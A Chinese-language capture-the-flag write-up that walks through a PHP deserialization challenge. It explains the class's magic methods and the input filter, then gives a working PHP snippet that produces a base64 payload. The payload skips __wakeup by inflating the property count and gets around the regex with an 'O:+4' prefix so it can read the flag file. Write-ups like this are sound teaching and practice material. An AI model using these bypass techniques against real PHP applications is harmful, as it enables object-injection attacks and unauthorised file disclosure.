分析代码,由一个Demo类和if语句组成
    分析Demo类中的代码
    ![A1F1{9]K[(YS9N(X4S7R@V.png
    里面有一个私有变量file和3个魔术方法。
    __construct():在一个对象建立时调用
    本题中的功能:调用时修改file的值
    __destruct():一个对象销毁时调用
    本题中的功能:调用时在屏幕中输出file函数中文件的代码
    __wakeup():一个对象被反序列化时调用
    本题中的功能:将file函数的值更改为index.php
    if语句功能
    ]W0BM{_~OX@D5)_L6DRA]`Y.png
    get方式接收var的值并进行base64解码。对var中的值进行正则匹配,值中含有o:数字或者C:数字(o和c不区分大小写)这种形式的字符串,就会输出stop hacking,否则的话就对var进行反序列化操作。
    解题思路
    看到魔术方法__wakeup(),可以设置成员属性数目大于实际数目来绕过wakeup()
    将demo中的$file值设为flag.php并对其进行序列化操作得到$a=O:4:”Demo”:1:{s:10:”Demofile”;s:8:”fl4g.php”;}
    利用语句**strreplace(‘O:4:”Demo”:1:’,‘O:+4:”Demo”:3:’,$a**);绕过正则和__wakeup方法。
    之后将其进行base64编码上传得到flag。
    **![I[2KGYI2KX
    %}OTTN%MVP@P.png](https://cdn.nlark.com/yuque/0/2020/png/2311415/1603957150035-f1092c5a-edb5-455d-8abd-12f88225f496.png#align=left&display=inline&height=124&margin=%5Bobject%20Object%5D&name=I%5B2KGYI2KX_%25%7DOTTN%25MVP%40P.png&originHeight=124&originWidth=751&size=14026&status=done&style=none&width=751)**
    注:因为私有变量在序列化之后里面有不可见字符,所以一切操作都要靠php代码完成
    php代码:
    <?php
    class Demo {
    private $file=’fl4g.php’;
    }
    $a=new Demo();
    $a=serialize($a);
    $a=str_replace(‘O:4:”Demo”:1:’,’O:+4:”Demo”:3:’,$a);
    $a=base64_encode($a);
    echo $a;
    ?>